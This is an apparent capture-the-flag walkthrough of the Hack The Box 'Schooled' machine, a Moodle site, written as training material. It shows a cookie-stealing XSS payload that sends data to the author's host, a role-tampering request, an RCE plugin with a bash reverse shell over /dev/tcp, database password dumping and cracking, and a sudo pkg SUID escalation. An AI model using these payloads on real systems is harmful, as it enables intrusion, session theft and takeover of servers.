Schooled

Enumeration

As usual, we start with an nmap scan, in order to find open ports in the target machine.

The following nmap command will scan the target machine looking for open ports quickly and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.234 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

As we see, there are a few ports open. Let's try to obtain the services and versions of these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p22,80,33060 10.10.10.234 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

If we try to analyze the website with the whatweb tool, we'll see an email with the schooled.htb domain name.

whatweb http://10.10.10.234

Let's add that domain name to the /etc/hosts file.

nano /etc/hosts

Now, let's take a look at the website.

We'll see that the website doesn't have much going on. So I tried to enumerate subdomains with gobuster.

gobuster vhost -u http://schooled.htb -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -t 200

  • vhost enumerates directories or files.

  • -u the target URL.

  • -w path to the wordlist.

  • -t number of current threads, in this case 200 threads.

And we find the moodle.schooled.htb subdomain. Before taking a look at it, we'll have to add the new domain name to the /etc/hosts file.

nano /etc/hosts

If now we take a look at the website, we'll see a Moodle platform.

Moodle is a learning platform or course management system (CMS). A free open source software package designed to help educators create effective online courses based on sound pedagogical principles.

As you can see, users can be created. Let's create a new one.

Let's create a new user named alfa8sa with the password Alfa8sa@, and the alfa8sa@student.schooled.htb. Note that the email has to use the student.schooled.htb domain.

After confirming the registration, we'll go and see the available courses from the Site home section.

Let's go to the Mathematics course and hit on Enrol me.

After we have been enrolled in the course, we should be able to see the Announcements section.

There is one announcement called Remainder for joining students.

If we take a look at it, we will see it says that professor Manuel Phillips will be seeing the profiles of all users enrolled in the Mathematics course. If the students doesn't have their MoodleNet profile set, they will be removed from the course.

Let's go to our profile to test the MoodleNet profile option.

Click on Edit profile.

And we finally find the MoodleNet profile option.

Exploitation

At this point, as the Manuel Phillips teacher will be checking our profile, I thought of doing an XSS attack.

Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites.

XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.

We can test if the MoodleNet profile input field is vulnerable to XSS with the following payload. If we update our profile, and then we see a popup message, then we'll know that the website is vulnerable to XSS attacks.

<script>alert("XSS")</script>

If now we click on Update profile, we should see a pop-up window with the XSS message.

Now that we know the website is vulnerable to XSS, we could try to steal the session cookie of the Manuel Phillips teacher. The following payload will send a GET request to our HTTP server with the cookies of the user which trigger the XSS payload. So when the Manuel Phillips teacher checks our profile, we'll get his session cookie.

<script>document.write('<img src="http://10.10.14.7/alfa8sa.jpg?cookie=' + document.cookie + '">')</script>

If now we set a simple HTTP server with python and wait, we should receive the session cookie of Manuel Phillips.

python -m http.server 80

Now, using the EditThisCookie browser extension, change the MoodleSession cookie to the one we have stolen.

If now we refresh the page, we'll be logged as Manuel Phillips.

Let's see the Moodle version. We can check the version from the /moodle/theme/upgrade.txt file.

http://moodle.schooled.htb/moodle/theme/upgrade.txt

At this point, I started looking for vulnerabilities in Moodle 3.9, and I found the following report, which explains that course enrollments allowed privilege escalation from teacher role into manager role.

https://moodle.org/security/index.php?o=3&p=6

Now we need to know which user is the manager user. If we take a look at the first website that we saw in schooled.htb, in the TEACHERS section, we'll see that the Lianne Carter user is the manager user.

The idea here is to enroll the Lianne Carter user into the Mathematics course, and change the request, so we give ourselves the right permissions. To do it, we need to know the id of Lianne Carter. If we go to the Manuel Phillips profile page, we'll see that the URL has the id parameter set to 24, which means that the id of Manuel Phillips is 24.

http://moodle.schooled.htb/moodle/user/profile.php?id=24

We could try to change the id parameter and see if we find the Lianne Carter teacher. You'll see that she has the id 25.

http://moodle.schooled.htb/moodle/user/profile.php?id=25

Now we want to enroll Lianne Carter into the Mathematics course. As the Manuel Phillips teacher is the owner of the Mathematics course, let's go to the Mathematics course from the Site home section.

Then, go to the Participants section.

Then, click on Enrol users, and search for the Lianne Carter user.

Then, click on Enrol users, and intercept the request with BurpSuite.

Then, send it to the Repeater. From there we can see in the INSPECTOR section, under Query parameters all the GET parameters. It is setting the userlist parameter to 25, which is the id of Lianner Carter, and the roletoassign to 5.

We could try to modify the roletoassign parameter to 1, which maybe an administrative permission, and change the userlist%5B%5D parameter to 24, which is the id of the Manuel Phillips user. This way, we are telling the server to give us administrative privileges on the Lianner Carter user. Let's change it, and click on Send.

/moodle/enrol/manual/ajax.php?mform_showmore_main=0&id=5&action=enrol&enrolid=10&sesskey=jLPMJb9YeJ&_qf__enrol_manual_enrol_users_form=1&mform_showmore_id_main=0&userlist%5B%5D=24&roletoassign=1&startdate=4&duration=

If now we go to the profile of the Lianne Carter user, we should see the Administration section with the Log in as feature.

And we should be logged as the Lianne Carter user.

Now, it's time to get a shell. We can do it by uploading a malicious plugin. Let's go to the Site administration section.

But we can not see how to upload plugins.

This is happening because we don't have the right permissions. We can modify our permission from the Define roles feature.

Then click on the settings button of the Manager user.

Hit the Save changes button, and intercept the request with BuprSuite.

If we take a look at the request, we'll see a lot of parameters and values.

I found this GitHub repository, which contains a payload which will give us full permissions. We have to replace the current parameters to the payload. Make sure to add at the beginning the sesskey parameter with its current value.

If now check again the plugins section, we'll see that we have the Install plugins feature.

Now that we can upload plugins, we will upload this plugin which will allow us to have Remote Code Execution (RCE).

https://github.com/HoangKien1020/Moodle_RCE/blob/master/rce.zip

Now, let's set a netcat listener on port 4444.

rlwrap nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

Finally, if we access the following URL, the server will send us a reverse shell as the www user.

http://moodle.schooled.htb/moodle/blocks/rce/lang/en/block_rce.php?cmd=bash -c "bash -i >%26 /dev/tcp/10.0.0.1/8080 0>%261"

Privilege Escalation

We can check how users jamie and steve exist on the machine.

cat /etc/passwd | grep sh

If we check the /usr/local/www/apache24/data/moodle directory, we'll see the config.php file.

ls -l /usr/local/www/apache24/data/moodle

Inside the config.php file there are some database credentials.

cat config.php

Let's try to log in MySQL with these credentials.

/usr/local/bin/mysql -u moodle -pPlaybookMaster2020 -e "show databases"

  • -u user for login.

  • -p password for login.

  • -e execute command.

If we see the tables of the moodle database, we'll find the mdl_user table.

/usr/local/bin/mysql -u moodle -pPlaybookMaster2020 -e "show databases" moodle

Now, let's see the columns of that table.

/usr/local/bin/mysql -u moodle -pPlaybookMaster2020 -e "describe mdl_user" moodle

Then, select everything on the username, password and email columns.

/usr/local/bin/mysql -u moodle -pPlaybookMaster2020 -e "select username,password,email from mdl_user" moodle

The admin user has the jamie@staff.schooled.htb email, and maybe the hash contains the password of the system user jamie. Let's put the hash into a file called hash, and break it with john.

john --wordlist=/usr/share/wordlists/rockyou.txt hash

Now we could log in as the jamie user on the schooled machine via SSH, and then we could grab the user flag.

ssh jamie@10.10.10.234

Let's list the sudo privileges of the jamie user.

sudo -l

  • -l list user privileges.

If we search for pkg on the GTFOBins list, we'll see that we can execute any command as the root user.

GTFOBins is a great list of binaries that can be used to escalate privileges if you have the right permissions.

https://gtfobins.github.io/

First, let's execute the following commands on our local machine.

TF=$(mktemp -d)

echo 'chmod u+s /usr/local/bin/bash' > $TF/x.sh

fpm -n x -s dir -t freebsd -a all --before-install $TF/x.sh $TF

Then transfer the x-1.0.txz file to the victim machine with the scp tool.

scp x-1.0.txz jamie@10.10.10.234:/tmp/

Finally, if we execute the following command on the victim machine, the /bin/bash binary will have the SUID permission assigned, and we'll be able to get a shell as root.

sudo pkg install -y --no-repo-update /tmp/x-1.0.txz

ls -l /usr/local/bin/bash

Now we can execute bash with root permissions, and all we have to do is reap the harvest and take the root flag.

bash -p

Last updated

Was this helpful?